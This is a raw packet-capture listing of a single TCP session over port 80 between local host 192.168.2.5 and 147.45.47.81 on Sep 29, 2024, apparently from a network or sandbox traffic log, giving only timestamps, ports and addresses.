Sep 29, 2024 09:44:14.675287962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675331116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675375938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675376892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675461054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675504923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675507069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675553083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675596952 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675596952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675641060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675682068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675687075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675734997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675776005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675780058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675826073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675863028 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675872087 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675918102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.675961018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.675964117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676009893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676050901 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676053047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676098108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676139116 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676143885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676188946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676229954 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676234007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676279068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676318884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676323891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676368952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676409960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676413059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676457882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676500082 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676502943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676547050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676589012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676593065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676635981 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676666975 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676681995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676723957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676763058 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676769018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676815033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676856041 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676858902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676906109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.676954985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.676958084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677004099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677048922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677048922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.677094936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677139044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.677139997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677186966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677220106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.677229881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677275896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.677315950 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.677323103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.681277037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.746222973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746257067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746279001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746296883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746321917 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.746324062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746341944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746344090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.746366978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.746385098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759052992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759129047 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759130955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759179115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759222031 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759223938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759277105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759322882 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759351969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759433985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759479046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759495020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759541988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759582043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759587049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759653091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759701967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759717941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759793043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759840012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759855032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759918928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.759964943 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.759983063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760032892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760075092 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760077953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760138988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760181904 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760185003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760231018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760272026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760291100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760337114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760376930 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760385990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760453939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760495901 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760499001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760545969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760587931 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760606050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760668039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760710001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760714054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760759115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760802984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760802984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760848999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760891914 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760894060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760941029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.760982037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.760984898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761032104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761073112 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761080027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761126041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761169910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761169910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761215925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761257887 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761260986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761306047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761347055 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761352062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761398077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761436939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761442900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761487961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761528969 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761532068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761579037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761615992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761621952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761667967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761707067 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761713028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761759996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761800051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761831999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761878014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761921883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.761921883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.761969090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762011051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762013912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762059927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762101889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762104988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762151003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762193918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762195110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762239933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762281895 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762284994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762331963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762372017 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762377024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762423992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762465000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762473106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762518883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762557030 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762562990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762612104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762650013 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762655973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762705088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762746096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762748003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762794018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762835979 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762837887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762883902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762928963 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.762929916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.762976885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.763015985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.763021946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.763068914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.763112068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767091036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767153025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767198086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767199039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767246962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767288923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767307997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767358065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767406940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767590046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767659903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767695904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767704964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767729044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767771959 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767776966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767810106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767842054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767848015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767877102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767909050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767918110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.767942905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767976046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.767981052 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.768022060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768059015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768062115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.768093109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768125057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768131018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.768157959 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768192053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768198967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.768238068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768270969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768279076 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.768301964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768337965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.768343925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.817082882 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.833396912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833451033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833483934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833506107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.833515882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833549976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833563089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.833600998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833636999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.833666086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.845974922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846026897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846034050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846060038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846110106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846112967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846143961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846174955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846191883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846224070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846255064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846287966 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846304893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846349001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846364021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846396923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846442938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846446037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846478939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846509933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846518040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846543074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846586943 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846591949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846630096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846669912 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846678019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846738100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846780062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846786976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846821070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846852064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846857071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846885920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846921921 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.846951008 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.846985102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847022057 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847033024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847065926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847094059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847105980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847126961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847160101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847170115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847188950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847232103 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847237110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847270012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847301960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847310066 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847337961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847369909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847385883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847435951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847467899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847489119 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847500086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847532988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847542048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847580910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847614050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847623110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847645998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847677946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847693920 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847716093 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847754002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847768068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847800016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847847939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847847939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847881079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847914934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847923994 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847949028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.847990036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.847997904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848032951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848063946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848077059 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848097086 CEST	80	49706	147.45.47.81	192.168.2.5
